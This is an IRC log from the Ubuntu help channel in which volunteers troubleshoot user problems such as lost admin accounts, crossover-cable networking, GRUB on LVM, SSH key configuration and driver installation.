AvinashHello Guys, I got a problem with sublime text editor ..18:04
jm_[/join #ubuntu+118:04
Avinashwhenever I try to open it(via terminal) I'm encountered with a error message saying "Segmentation Fault" :(18:04
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robertobobciao18:05
_jayI currently have a partitioned hard drive with multiple ubuntus/grub on it, and want to add a second drive to add other flavors of ubuntu and linux- will grub see these as just another bootable partition? Do I need to set the HD configuration in a specific way?18:06
Goraneka/network add -autosendcmd "/msg nickserv identify <password> ;wait 2000" Freenode18:08
Goranekah sorry18:08
celsoholstein: well, i know what it is the problem. It seems that to make my card change to intel, it was required to add "Sleep 6" in the beguining of the rc/local file .  Doing that, was blocking my audio card to get initialized.18:09
exiffHello.18:09
celsoholstein: now it is fixed. I am going to write this on ask ubuntu for more people to know.18:10
exiffHow do i check the clock rate and interface width of my video card?18:10
celsoholstein: by the way, thanks for the help!18:11
GeorgeTorwellIs it normal that ubuntu recently asked me to upgrade ecryptfs and then it asked me to re-record my passphrase?18:11
tomas__so hey.. i cant explain i guess but this is problem... how to make that "real admin" to list... http://i.imgur.com/R63BUNT.jpg18:11
PeqNPhi there. i have an issue with ubuntu 12.04. when i run laptop-detect -v it says, "We're a laptop (ACPI batteries found)". thing is i'm running a pc. also, when i go to System Settings > Details > Overview it shows that my Graphics is "Unknown" even though I have an nVidia card installed (and have successfully installed the Additional Drivers)18:12
tomas__anyone here to help me fix this.. i have googleted like 5hours18:12
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jdukietI just spilled coffee on my laptop. Should I boot in recovery mode, or just get a paper towel?18:13
kirklandGeorgeTorwell: yes, that's normal18:13
GeorgeTorwellI see18:13
tomas__holstein:  can you help18:14
GeorgeTorwelli dont get why upgrading ecryptfs means I have to rerecord my passphrase since my home directory was already encrypted18:14
tomas__Anybody help me to fix this ?18:14
tomas__http://i.imgur.com/R63BUNT.jpg18:14
kirklandGeorgeTorwell: it's just a friendly reminder18:14
GeorgeTorwellbut I already recorded one when I installed it ages ago18:15
bekkstomas__: Describe you issue please.18:15
HappyNewYear13hi, what's a good firefox plugin wo watch avi videos on a web page. currently I have totem 3.0.1 using Gsteamer 0.10.36. what else can i install?18:15
tomas__look pic.. i lost my admin account but it still exist18:15
tomas__bekks:18:15
GeorgeTorwellupgrading the software shouldnt change already encrypted things should it?18:15
tomas__bekks: look pic.. i lost my admin account but it still exist18:15
HappyNewYear13EDIT: what's a good firefox plugin to watch avi videos on a web page. currently I have totem 3.0.1 using Gsteamer 0.10.36 but it's not very good. what else can i install?18:16
tomas__how to get it in list and RIGHT place18:16
bekkstomas__: I dont get your picture, thats why I want you to describe it.18:16
tomas__bekks:  i lost my admin account.. (still exist) when i change other accounts in list i need my "admin" account which reads in there list and that password so it exist there somewhere18:16
Henke37so I used the package manager to unistall cups18:17
Henke37and now I lost my sidebar18:17
bekkstomas__: I am sorry, I still dont get your problem. Can you log in using you admins account name and password?18:17
tomas__bekks:  so it doesnt ask user password when unlocking users... it asks that "admin pass" that user i cant se in list cos i deleted in actually18:18
tomas__bekks:  no its not in login screen18:18
tomas__bekks:  i can login only as guest18:18
bekkstomas__: you can type in a user name there. Did you delete the admin account?18:18
Bane`hello all18:18
klrrxml sucks18:19
tomas__bekks:  yes i deleted... i made it normal account.. then i made new account and give it admin rights but forget password.. then whole system stopped working18:19
tomas__bekks:  then i deleted it.. and now im situation as picture shows18:19
tomas__bekks:  it exists but cant find it and if i add new "same" name it doesnt work18:20
bekkstomas__: I dont get the picture, as I said. So you deleted two admin accounts, and you cant log in anymore, not even using a normal user account?18:20
tomas__bekks:  i can login only guest18:20
bekkstomas__: The guest is not a normal user account, it is a guest account.18:21
ckwalshI know this sounds really stupid, but any way I can temporarily disable xauth in ubuntu and allow X connections regardless of authentication values? I'm trying to test a system, and can't get the xauth credentials passed around properly.18:21
ckwalshDoesn't help that my command is chained sudo => chroot => su(nobody) => app...18:21
sofiannice join>>>18:21
bekkstomas__: So basically you have to boot a live cd to fix your lost passwords and admin accounts.18:21
exiffHow do i check the clock rate and interface width of my video card?18:22
bekksexiff: What is the interface width of a video card?18:22
tomas__bekks:  i go to install ?18:22
bekkstomas__: No. You boot the live cd, you dont reinstall.18:22
tomas__bekks:  with install cd.. no recovery mode?18:22
leepingHello, I'm trying to view a system log (specifically kern.log), but the file is too old, and dmesg isn't printing out enough messages18:23
exiffbekks: bus width, if i'm not mistaken18:23
leepingIs there some way to either increase the number of messages in dmesg, or locate the file with the most recent logs?18:23
tomas__bekks:  ok.. now i restart computer18:23
bekksexiff: IS it a laptop?18:23
exiffAye, a laptop it be.18:24
neohauxCan some one advise me a good URL where I can learn how to develop my applet (for Unity desktop) ?18:24
bekksexiff: Then just take a look at the manual of your laptop.18:24
folivoratom__: to reset passwds, boot some live cd, mount patition where you have /etc/passwd anf remove :x: from the account ie. root / admin and save it. then boot and it wont ask password. x points to /etc/shadow18:24
jhutchins_wkleeping: dmesg should have the most recent messages last, and should fill several screens.18:24
folivoratomas__: i ment to write18:25
dv-exiff: try lspci -vvv18:25
bekksfolivora: Thats not resetting any passwords, but activating the root account. Thats definitely a bad idea.18:25
leepingjhutchins_wk, there are lots of messages, and even though I can scroll back several screens, I can't get to 5:45 AM18:25
leepingit only goes back to 7:45 AM (right now it's 10:25)18:25
jhutchins_wkleeping: dmesg | less18:25
exiffdv-: it gave some output listing what looks like my hardware.18:26
folivorabekks: i was just pointing out that there is a way to reset password, anyway you can create new hash and replace old one with it in /etc/shadow18:26
leepingjhutchins_wk, that's what I did.18:26
folivorabekks: if admin pw is totally lost18:26
leepingjhutchins_wk, wait, one moment .. I might be misreading the timestamps ..18:27
leepingI guess this is a separate issue, is there an easy way to convert the numerical timestamps to time/date?18:27
tomas__bekks: hey,, now it is in install option.. "try" or "install"18:27
bekksfolivora: Thats not resetting any passwords, but activating the root account. Thats definitely a bad idea.18:27
tomas__bekks:  from cd18:27
exiffdv-: Under '00:02.0 VGA compatible controller', which is the clock rate and bus width?18:28
bekksfolivora: All you have to do is to set a new password for your user, not activating the root account.18:28
holsteintomas__: what is the issue?18:28
bekksexiff: Thats only the PCI BUS ID. lspci -vvv has a lot more of output.18:28
bekkstomas__: As I said, do not reinstall.18:29
Mathiasin /etc/sane.d/dll.conf, what should i enable to be able to use a canon pixma mg2255 to scan? google just gave me bs results18:29
tomas__bekks: then what.. i put it in cdrom and it goes to there18:29
holsteintomas__: if you had an admin account, and removed it, it'll be gone from that list.. you should be able to put it back.. if you have not admin accounts left, you can do this from the root recovery terminal18:29
folivorabekks: ehh, i did misread then.. i thought that password were lost and he could not access to the system18:29
exiffbekks: I'll go through it thouroughly.18:29
wmoss_ /server irc.zbump.com 6667 wmoss18:30
bekksfolivora: Whatever you do on a system - you literally NEVER have to activate the root account.18:30
mike160hi anyone know how to downgrade transmission on ubuntu18:30
tomas__holstein: yeah first one... its not in list but i cant just "add user".. its not work18:30
tomas__holstein:  deleted it18:30
mike160i have transmission v 2.33 ineed to transmission 2.0318:31
exiffi think i found it, thank you dv- and bekks .18:31
holsteintomas__: then, put it back18:32
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tomas__holstein:  yeah.. that is question, how???? it doesnt work just "add user" and it doesnt go right place18:33
tomas__holstein: cos it says user already exist... and its trying to make user2 with same name18:33
holsteintomas__: whats the issue? if the user exists, just use it18:34
tomas__holstein:  i can just login with guest and it is not in list18:35
threex5Hi I'm trying to transfer files between two ubuntu machines using a crossover cable18:35
Bane`Is there anyway to see if both cores on my 690 are being used within Ubuntu?18:35
threex5I have already set the ipv4 preferences to 'shared with other computer' and both computers show a wired connection18:35
Bane`Or an SLI option of some sort?18:35
holsteintomas__: how does login fail?18:36
BluesKajBane`, system monitor18:36
threex5I just don't know where to go from here. The network managers assigned the same ip to both machines, not sure why18:36
holsteintomas__: i wouldnt.. i would just use a router18:36
holsteintomas__: sorry... threex5 ^^18:36
threex5holstein, I understand but I can't physically run the cables that way in my place. Also I have a lot of housemates and I'm trying to bypass the network18:37
threex5for their sake18:37
threex5I mean I should be able to ssh this way, no?18:38
san__Hi Guys18:38
san__need one help..18:38
OZ4KK!paste18:38
ubottuFor posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.18:38
Henke37I think I broke my install18:39
Henke37I uninstalled cups since I don't have a printer18:39
topper4125!ask | san__18:39
ubottusan__: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience18:39
Henke37and now I lost my sidebar thingy18:39
Henke37help please!18:39
san__i tried i tried to install ubuntu sdk in raring 13.0418:39
holsteinthreex5: i would use a different router.. and just connect, and dont allow connicitity to others18:39
san__and facing one dependency issue18:39
san__and after that m not able to install or update anything18:40
bekkssan__: The raring support is to be found in #ubuntu+118:40
Bane`BluesKaj: system monitor doesn't show the 690's cores18:40
jhutchins_wkthreex5: You'll need to manually assign different IPs to each system before you can ssh.18:40
holsteinthreex5: i would say, start with ping.. ping the machines with the crossover cable18:40
SonikkuAmericaHenke37: I wouldn't have touched stuff I didn't need if I were you... but now what's done is done... is this Unity?18:40
jhutchins_wkBane`: How about top or /proc/cpuinfo?18:40
Henke37SonikkuAmerica, I have no idea18:41
Bane`jhutchins_wk: looking for the gpu cores, not cpu18:41
Bane`GTX 69018:41
san__ok.. Please if you guys can help me on this http://paste.ubuntu.com/1700815/18:41
SonikkuAmericaHenke37: It probably is if you're missing a "sidebar"18:41
jhutchins_wkBane`: maybe lshw or hwinfo?18:41
Henke37I didn't like the sidebar anyway18:41
kingbeastthreex5, first off is ubuntu recognizing the cable?18:41
Henke37but I need something to switch tasks18:42
SonikkuAmericaHenke37: try [ sudo apt-get install --reinstall unity ]18:42
tymonnhey18:42
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threex5ok thanks, jhutchins_wk and holstein. I go to system>administration>network, turn off roaming mode, then set a static ip for each, with the same subnet mask and no gateway. does that sound right?18:42
tomas__holstein: i will re install everything  :D18:42
bekkstomas__: No need to do so.18:42
tomas__holstein:  cant fix this18:42
tomas__bekks:  i cant fix this18:42
threex5kingbeast, ubuntu is recognizing the cable on both ends18:42
jhutchins_wkthreex5: Sounds ok to me.18:42
bekkstomas__: Did you boot the live cd?18:42
tymonnis it normal that the ubuntuOS is stuck like at 80%?18:42
tymonnubuntu phoneOS18:43
tomas__bekks:  how can i do that ?18:43
bekkstomas__: By booting the live cd and choosing "try" not "install"...?18:43
holsteintomas__: sure you can.. im not sure anything is broken anyway18:43
threex5jhutchins_wk, does it matter what ip i use? does it have to be a 192.168 ip?18:43
kingbeastbut you are not able to see the the devices connected to the cable right? ie computers18:43
tomas__holstein: ok i try18:43
BluesKajBane`, does your system monitor have a "system load" tab ?18:43
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threex5can the subnet mask be 255.0.0.0?18:43
SonikkuAmericatymonn: Try asking in #ubuntu-phone18:44
kingbeastthreex5, ^^18:44
tomas__holstein:  yeah but its just cos i dont know how to fix this18:44
tuulehey guys18:44
Goraneki18:44
Goranekhi18:44
tomas__holstein:  already has taken 6hours *:D18:44
holsteintomas__: what is the issue?18:44
holsteintomas__: can you login as another user? if no, how does it fail?18:44
tomas__holstein: same..18:44
threex5kingbeast does that mean ditto?18:44
OZ4KKHi,,, what is wrong here ? ... http://paste.ubuntu.com/1700833/18:44
tuulewill it be ubuntu tablet edition for other tabs(not only for nexus) ?18:44
holsteintomas__: what is the same?18:44
llutzthreex5: sure, why not (/8 network)18:44
tomas__holstein: only guest18:44
holsteintomas__: how does it fail?18:45
tomas__holstein:  guest works fine18:45
bekkstomas__: Why dont you just boot the live cd now...?18:45
kingbeastthreex5, it sees the cable just not the machine on the other end right?18:45
tomas__holstein:  its booting atm18:45
holsteintomas__: how do the others fail?18:45
threex5correct kingbeast18:45
tomas__holstein:  other just dont log in.. come back to login screen18:45
holsteintomas__: OK.. the geust account loads a GUI.. how do the other user accounts fail?18:45
holsteintomas__: then, i would try to login via tty18:45
holstein!tty | tomas__18:46
ubottutomas__: To get to the TTY terminals 1-6, use the keystroke ctrl + alt + F1-F6 respectively (Alt+F7 will get you back to your graphical login).  To change the resolution for your TTY, see https://help.ubuntu.com/community/ChangeTTYResolution18:46
tomas__holstein:  and admin isnt in list and cant find the way to ad it18:46
bekkstomas__: After booting the live cd, just reset your user password in first instance: https://help.ubuntu.com/community/LostPassword18:46
holsteintomas__: then, if you can login, you know the accounts are good, and working properly. you can remove the .config files and try loggin in18:46
the_jeebsterany idea when ubuntu phone OS will be available?18:46
OZ4KKhttp://paste.ubuntu.com/1700833/  what is wrong here ?18:46
Pici!phone | the_jeebster18:46
ubottuthe_jeebster: Ubuntu for phone has been announced, see http://www.ubuntu.com/devices/phone to find out more and to sign up for progress updates. Discussion is in #ubuntu-phone18:46
holsteintomas__: you can add an admin account from the root recover console18:46
the_jeebsterPici: I know, just wondering if perhaps there was some insider info here :)18:47
bekks!details | OZ4KK18:47
ubottuOZ4KK: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."18:47
tomas__holstein: where should i put that admin account that i can see it in login..    ( now i have booted from cd so then what ?)18:47
Goranekguys, where can i set default ssh pem key? it takes to much time for me to put -i  [.pem location]18:47
holsteintomas__: tty18:48
OZ4KKbekks, thanks for this :-)18:48
threex5ok I can't find the place to set the ip address in 12.0418:48
tomas__holstein:  where i can find it18:48
holsteintomas__: you dont boot from cd.. you try logging in as the user that is failing, from tty.. then you report18:48
Henke37oh crap, the X console doesn't boot and the text console uses the wrong keyboard layout18:48
holsteintomas__: find what?18:48
Picithe_jeebster: Any new info would come from #ubuntu-phone18:48
threex5i'm using gnome classic. my other machine is mint and it was located at administration>network18:48
holsteinHenke37: i would try as another user... if the other use is fine, then its your config that is broken18:48
the_jeebsterPici: cool, thanks18:49
yigalGoranek: is this http://stackoverflow.com/questions/84096/setting-the-default-ssh-key-location not working ?18:49
Henke37holstein, it hangs before the login screen18:49
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yigalGoranek: alias ssh="ssh -i /path/to/private_key"18:49
yigalGoranek: as a possible method18:49
holsteinHenke37: then, how are you logged in? you can create another user from the recovery console and test in the way you logged in just now18:49
llutzGoranek: ~/.ssh/config18:49
Henke37as I said, the text mode console18:49
Goranekyigal: thats not really a nice way to do it.. i was looking something like .config file18:49
llutzGoranek: "man ssh_config"18:50
yigalGoranek: yes as llutz put it18:50
Goranekllutz: yeah i'm checking it now18:50
kingbeastthreex5, pm!!18:50
Henke37I hate bogus package dependencies that makes it impossible to remove crap because the entire system breaks18:50
Ogredudeok I'm having trouble even coming up with good google searches for this one.  Unity 12.04 running Unity window manager. When you resize a window, you get a semitransparent box, and then when you let go the mouse, the window snaps to its new size.  How do I change this so it behaves more like windows and osx, where the window resizes on the fly, live?18:50
tomas__holstein:  didnt get it.. now im recovery mode root18:51
ben1066Is the source code for qml-phone-shell avaliable?18:51
tomas__holstein:  i make "dir" i get only desktop18:51
bombuzalHi, I just installed Ubuntu Touch DP though had to sideload the image, is it supposed to have the personal contacts and messages of someone I don't know on? ;)18:51
tomas__is it good ?18:51
holsteintomas__: ok.. so, you can create a new user, and try loggin in as that new user.. give it sudo privs and do what you need to "repair" the system and the other users18:52
bekkstomas__: Why dont you reset your lost user password?18:52
bekkstomas__: You DONT HAVE TO create a NEW user.18:52
llutzweb18:52
bekksThats pointless.18:52
ben1066bombuzal: yes18:52
tomas__bekks:  i reseted password the "admin" i created that is not "real" admin from recovery mode... didnt access in.. only guest can login18:53
bekkstomas__: Then tell us the error you get when logging in.18:53
tomas__bekks:  there is no error.. just "bing" and your back in login screen18:53
tomas__no matter how many times do it18:53
holsteintomas__: the issue could be with your .config files as well. you are just not getting to a desktop with that user.. you are assuming the account is broken or missing.. the guest account is locked down18:54
holsteintomas__: you could be "bing" back to login for a config issue18:54
tomas__holstein:  yes,, i dont get desktop thats problem18:54
bekkstomas__: Then check wether your hard disk is full. That can be done using the guest account, too.18:54
tomas__holstein:  i dont get desktop cos that user doesnt exist in loging screen18:54
holsteintomas__: correct.. so, you can remove the offending config.. OR, you can create a new user18:54
llutztomas__: "df -h" "ls -ld /tmp"18:54
SonikkuAmericatomas__/holstein: It could be that .Xauthority issue too.18:55
yigalGoranek: did you get it?18:55
SonikkuAmericatomas__/holstein: Or the user doesn't have permission to run an X session.18:56
bekkstomas__: Then check wether your hard disk is full. That can be done using the guest account, too.18:57
bekkstomas__: Why dont you just follow the suggestion given in here?18:57
holsteinSonikkuAmerica: that too... either should be able to be worked out from new user account with sudo privs, creatalbe from the recover console18:57
yigalGoranek: a matter of using the Host variable for the SSH server you are interested in, and specifying the pem, and possibly user name for the host in ~/.ssh/config18:57
thomas_holstein:  what is the file that shows users in login screen18:58
Goranekyigal: thanks mate, seinfeld youtube clip took my interest :) haha btw, i'm working on it :)18:58
holsteinthomas_: can you login as the new user you created with the root recovery console?18:58
Questwhy this config http://pastebin.ca/2316408  for alpinema.com nor alpinema.com/alpinemadotcom is working but only the independant tomcate request as alpinema.com:8080 works?18:59
Goranekyigal: http://www.youtube.com/watch?v=Mxhs-O_9BLc :) :) :)18:59
thomas_holstein:  it asks root password for maintenance.. so i give that.. and now im there.. what next ??18:59
yigalGoranek: :)19:00
holsteinthomas_: make a new user.. give it sudo privs http://askubuntu.com/questions/70236/create-an-administrator-user-in-command-line19:00
bytecodeHey guys, I am hoping someone in here has some knowledge on how i might connect to a sstp vpn in ubuntu 12.04 ... i'm going on about my 5th hour googling ... i have installed all dependencies for sstp-client and the gnome network manager on http://sourceforge.net/projects/sstp-client/  and shortly thereafter the update manager thought i needed a distribution upgrade ... very odd ... and it removed the sstp-client ...19:01
Sag[anyone please help me out for wired connection betn windows7 to ubuntu\19:01
bytecodethere is the sstpc binary thru the console but after supplying what seemed like the right args it just failed to connect19:01
thomas_holstein:  adding..... groupadd: cannot lock /etc/group; try again later..19:02
SonikkuAmericathomas_: it's the [ useradd ] command, not [ groupadd ]19:02
Guest15991hi19:03
SonikkuAmericaGuest15991: Hello19:03
thomas_SonikkuAmerica:  yea i put useradd19:03
Goranekyigal: Works! Adding "IdentityFile ~/.ssh/server.pem" to ~/.ssh/config works great.. Thanks ! :)19:03
thomas_SonikkuAmerica:  sudo useradd xxx19:03
yigalGoranek: awesome, glad to hear, cheers19:03
Guest15991how to create super user of postgres in ubuntu19:04
Guest15991?19:04
superdohey, love Ubuntu :D recognized my usb headse wo problems ;-)19:04
SonikkuAmericathomas: And the -G switch I hope?19:04
SerenE_SparKACTION=="add", SUBSYSTEM=="usb_device", SYSFS{idVendor}=="040a", SYSFS{idProduct}=="0576", RUN+="/usr/local/my_script in this what changes are to be made if we dont know the SYSFS and the vendor19:04
Mathiasweird, sane-find-scanner nags about permissions when i'm running it as a normal user, but when i run it as root, it doens't discover the scanner19:05
SonikkuAmericathomas_: I meant to say the -g switch19:05
SonikkuAmericathomas_: [ sudo useradd -g admin $NAME ]19:06
llutzMathias: are you member of group"scanner"?19:06
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Mathiasllutz: not my main concern, even if i run simple-scan as root (i know i shouldn't do it) it doesn't discover it19:07
bytecodeanyone with experience connecting to sstp vpn ?19:07
thomas_SonikkuAmerica: group admin does not exist19:07
yigalMathias: do you know if you have the right drivers for the scanner on the machine?19:08
Mathiasno :s19:08
Mathiasand running the installer in wine just throws me a "run as admin"-message and quits19:08
yigalMathias: I would attempt to make sure you have the proper drivers for scanning, what scanner do you have, I'm sorry I missed it.19:09
lduroshi, I'm trying to rebuild my grub from another drive. the partition is in /dev/mapper/ubuntu-root, which I'm not familiar with (i know how to do with /dev/sda/) when I try: sudo grub-install --root-directory=/mnt/ /dev/mapper/ubuntu-root it gives me an error that attempting to install grub to a partitionless disk or partition is a bad idea. and "embedding is not possible, but this is required when the root device is on a RAID array or19:09
ldurosLVM volume". What am I supposed to do?19:09
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thomas_SonikkuAmerica:  i found this.. exatly same problem19:09
thomas_SonikkuAmerica:  http://askubuntu.com/questions/136495/i-deleted-my-original-user-account-the-new-account-has-no-password-how-can-i-e19:09
Mathiasyigal: canon pixma mg225519:09
Mathiasand the driver from canon doesn't work, unfortunately19:09
wNlduros: is that last part part of the onscreen error? your output shows you're using LVM19:09
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lduroswN: yeh it's part of the onscreen error. so what am I supposed to do?19:10
wNlduros: does it give you an option to continue anyway?19:12
lduroswN: nope19:12
lduroshaha19:12
wNdo you have a screenshot by chance?19:12
SonikkuAmericathomas_: So you're in the root shell prompt now, right?19:12
lduroswN: let me make one19:12
yigalMathias: unfortunately I don't see your printer explicitly listed here man sane-pixma19:13
yigalMathias: but I suspect it is likely supported19:13
thomas_SonikkuAmerica:  yea19:13
hazardousi have link aggregation set up for eth0+eth1 -> bond0 active-backup, and ipv6 is not routing but ipv4 is working, what do i do19:13
thomas_SonikkuAmerica:  actually i just started to reinstall hole stuff19:13
SonikkuAmericathomas_: Hole stuff?19:13
SonikkuAmericathomas_: I don't follow.19:14
thomas_SonikkuAmerica:  this makes me crazy :DD19:14
lduroswN: easier than screenshot: http://pastebin.mozilla.org/216474819:14
lduroshere is what my terminal gives me19:14
Mathiasyigal: tried enabling everything but "test" in /etc/sane.d/dll.conf19:14
ldurosthe /mnt is /dev/mapper/ubuntu-root19:15
ldurossdb1 is the external drive on which I am currently19:15
lduroswN: sdbX rather19:16
newbie_to_ubuntusimple question here.  I want a terminal window with a horizonal scrollbar and each line is only ona  single line with no line wrapping.   12.0419:16
newbie_to_ubuntuany way to do it?19:16
SonikkuAmericanewbie_to_ubuntu: Not that I know of. If a line is too long, it's wrapping.19:16
wNlduros: you're trying to install grub to a logical volume. it should be run against the boot disk19:17
SonikkuAmericanewbie_to_ubuntu: Or rather... wait...19:17
bytecode     anyone with experience setting up an sstp vpn connection in 12.04  ?19:17
lduroswN: but when I do it on sda1 it doesn't work19:17
lduroson /dev/sda19:17
wNwaht happens when you use sda?19:17
newbie_to_ubuntuthe MS windows command prompt can do that !19:17
ldurosbut which am i supposed to mount in /mnt first?19:17
ldurosok let me try that19:18
wNlduros: i haven't seen a machine that can boot to LV instead of booting from a disk. the grub-install places teh MBR where you tell it to, so it should be added to sda19:18
lduroswN: it says no error reported:19:18
wNlduros: nothing. grub is written out to the MBR which is before the file-system and partition table19:18
lduroslduros@lduros-work:/mnt$ sudo grub-install --root-directory=/mnt/ /dev/sda -- Installation finished. No error reported.19:18
Mathiasyigal: gtg, i'm going to try again on sunday though19:18
lduros 19:18
Mathiasthanks for the help so far :)19:18
ldurosok, so I just did that19:18
SerenE_SparKHow can we define a udev rule to run geany when a pendrive is connected19:18
ldurosdoesn't it usually list the kernels?19:18
lduroswN: i have to reboot to tell, ... of course :)19:19
wNlduros: grub-install?19:19
lduroswN: with the root directory is fine no?19:19
lduroswN: let me try to reboot19:19
ldurosthis might have worked19:19
ldurosbrb19:19
wNlduros: that looks right *to me* but i dont have too much experience with grub2... only the older stuff19:19
ldurosyeh19:19
ldurosok19:19
ldurosbrb :)19:19
FloodBot1lduros: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.19:19
wNFloodBot1--19:19
pranavmy ubuntu is 32bit currently, can i upgrade my kernel to Linux 3.819:20
pranavis kernel independent of 32bit or 64bit ubuntu ?19:20
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bekkspranav: No.19:21
bekkspranav: Kernel is 32bit or 64bit.19:21
SonikkuAmericapranav: That shouldn't affect your ability to go up to 3.8 (assuming you're gonna get your hands dirty and try Raring)19:23
pranavbekks: can i upgrade my ubuntu to 64bit easily side effects ?19:23
bekksNo...19:23
SonikkuAmericapranav: No. It is not easy, nor is it recommended.19:23
cowbudWhen I launch pulseaudio I get an error bluetooth-util.c Error From listAdapters reply: org.freedesktop.DBus.Error.AccessDenied. I am at a loss what I need to modify to make sure my user has access to ListAdapters. They are in the bluetooth group, the dbus daemon is running system wide as this system is headless. Any direction would be appreciated19:24
bekkspranav: No, you cannot upgrade fron 32bit to 64bit without reinstalling.19:24
pranavbekks: ok, beeks. for time being I will just upgrade my kernel to 3.819:24
pranav32bit19:24
SonikkuAmericaYou only really need 64-bit if (a) you have a 64-bit-only arch, and (b) if you need to address more than 3.5 GB of RAM.19:25
SonikkuAmericaAt least for now. There is the Year 2038 problem...19:25
metal_wraithso far I've been enjoying ubuntu 12.10 aside from using just gnome-fall back session instead of unity. if I had paid attention i'd of used a 64bit version instead of the 32bit... but oh well things are working fine and without issues.19:25
listerSome of you have an ekiga account?19:26
ccoilHello! I tried several times to get Ubuntu (12.10) to work on my Acer 7750g; but installing even the most trivial drivers seems to be impossible. I cant get either (Broadcom) wifi or my (Radeon) graphics card to work. Why is it so hard to install these very essential drivers?19:26
listerdoes ekiga really work?19:26
SonikkuAmericaccoil: What drivers did you try?19:26
ccoilHonestly, the only solution I was able to google my way to was to install the "Additional Drivers" app from Ubuntu Software; which never completed installing (it happends every time)19:27
ccoil'Tried to install a couple of other apps; they never finished installing either19:27
pranavSonikkuAmerica metal_wraith : my computer supports 64bit. 2 years before. for some issues. i started with 32bit 10.04. and then last year, upgraded to 12.0419:27
PhysicistGreetings. How can I see the ip from cmdos19:27
SonikkuAmericapranav: What processor?19:28
ccoilI really really want to use Ubuntu, but it seems very "imature" in temrs of drivers19:28
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SonikkuAmericaccoil: I might be able to get b43 working for your Wi-Fi.19:28
Physicistccoil: You're not wrong...19:28
cowbudre: my problem. Figured it out, after adding the user to the lp group I had to restart dbus!19:28
SonikkuAmericaPhysicist: run [ ifconfig -a ] and look under the "inet addr:" section of the device.19:29
pranavSonikkuAmerica: intel core i5 m43019:30
Questcan anyone explain the elements of ProxyPass and proxypassrevers ? in context to apache19:30
AllexzHey guys, hope you dont mind another noob question in here, im quite new to ubuntu in general and when i sudo apt-get install phablet-tools i get the following error: The following packages have unmet dependencies:  phablet-tools : Depends: python-requests but it is not installable.... please halp =)19:30
SonikkuAmericapranav: How much RAM?19:30
pranavSonikkuAmerica: 4GB19:31
ccoilSonikkuAmerica: The "might" here frightends me as I've already tried countless times. :(  it just saddens my that Ubuntu with all it's UI beauty, "forgets" to include very common drivers for Wifi and Graphics card(s). It also seems to drive my computer crazy perfromance-wise. It drains my entire battery in about 30 minutes, whereas Widnows 7 lasts about 2 hours +. It also smells like burnt rubber in my room after a couple of minutes :s19:31
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SonikkuAmericapranav: You're fine with 32-bit. If you had 8 GB or an i7, you should probably use the 64-bit version, but 32-bit is fine.19:31
pranavccoil: what did you do ?19:31
ccoilI isntalled the Ubuntu for Windows and booted up19:32
contrapunctuspranav - India? :)19:32
SonikkuAmericaccoil: Wubi? No wonder. These days, it's better to partition.19:33
pranavSonikkuAmerica: hope so. i heard i can only fully consume my 4GB if I'd 64bit. But then again, reinstalling ubuntu is tedious with all my customizations.19:33
pranavcontrapunctus: yes man19:33
ccoilWubi yes. Really? So that's what the problem is? I thought wubi WAS a separate partionion (or as good as)..19:33
SonikkuAmericapranav: Unless you plan on holding onto that install until 203819:34
tgm4883I wouldn't say wubi is THE issue.  It's just an issue19:34
contrapunctuspranav - Ha, same here. City?19:34
mmnhas anyone experience with uefi based computers and ubuntu?19:34
AllexzI have a silly question as a linuxbeginner.... when using sudo apt-get and or install, how do you figure out what the packages are called? is there a list system or such? Example Python, how do i find out that the package is actually named "Python3" ?19:34
ccoilSo, if I did a seperate partion on my acer 7750g with Radeon gfx, Broadcom wifi, Intel i5;  it would work fluently; and the drivers would automatically install themselves?19:34
llutzAllexz: apt-cache search "pattern"19:35
contrapunctusAllexz - You usually know the exact package name. I don't use the CLI for installs, but there's got to be some command to list stuff.19:35
ben_Allexz: you might search for files in packages using apt-file19:35
tgm4883CoilDomain, probably not, but that is because you've got broadcom wifi and an ATI/AMD card19:36
pranavSonikkuAmerica:  whats in 2038 :D19:36
ben_apt-file search bin/foobar19:36
tgm4883err, ccoil ^^19:36
tgm4883pranav, the end of the unix world19:36
SonikkuAmericapranav: http://en.wikipedia.org/wiki/Year_2038_problem19:36
ccoilIt also puzzles me, that the only way to install additional drivers in a user friendly fashion, the "Additional Drivers"-app, was removed in 12.10? Why?? Writing "Driver" in the Ubuntu/Unity line gives me Nothing?? :P  The most common task imaginable for a fresh install..19:36
AllexzThanks all.19:36
tgm4883ccoil, it was moved into the software centre19:37
DJonesccoil: THe additional drivers appears under System Settings -> Software Sources -> Additional drivers from 12.1019:37
ccoilbut why? It just makes it infinitely more tedious for a newcomer19:37
tgm4883ccoil, any answer I have for that would be speculating19:38
ns-nazrihow to remove icon application in the menu19:38
thiefyi have an install of lubuntu... i use it as a server, can i boot the OS into "server mode"  meaning, no  X.   like, boot it to just a command line. and then ssh into it and / or just run things using ssh -X19:39
histons-nazri: right-click unlock from launcher19:39
ccoilDJones: aha. Now that's somehting. But why doesn't Ubuntu help me with that by default? Typing "driver" in the Unity line should be more than sufficient? Why make me google/IRC for hours? hmmm...19:39
histo!who | thiefy19:39
ubottuthiefy: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)19:39
pranavSonikkuAmerica: never knew those C programming concepts would come in handy ;)19:39
contrapunctusSonikkuAmerica, interesting link. Surely there'll be a patch?19:39
histoccoil: jockey-gtk  ???19:39
thiefyuhh, i'm asking a question mr histo19:39
DJonesccoil: I don't know why they changed it, it is confusing though, I agree there19:40
SonikkuAmericacontrapunctus: Who knows? Maybe by then we'll all be running x64-based stuff.19:40
llutz!nox | thiefy19:40
ubottuthiefy: To start your system in text-only mode append 'text' (without the quotes) to the kernel line in the grub menu. You can access the grub menu by pressing Esc (Grub legacy) or Shift (Grub2) during boot. For more info see https://help.ubuntu.com/community/BootOptions#Text%20Mode19:40
contrapunctusSonikkuAmerica...true, true..19:40
histothiefy: That's a question?19:40
Genscher__maybe this question sounds stupid..but: How do I *really* power down my Ubuntu server? It always goes into some suspension mode where wake on lan is still active.19:40
histothiefy: ahh yes I see it now. Sorry I'm going crazy19:40
contrapunctuslol histo19:40
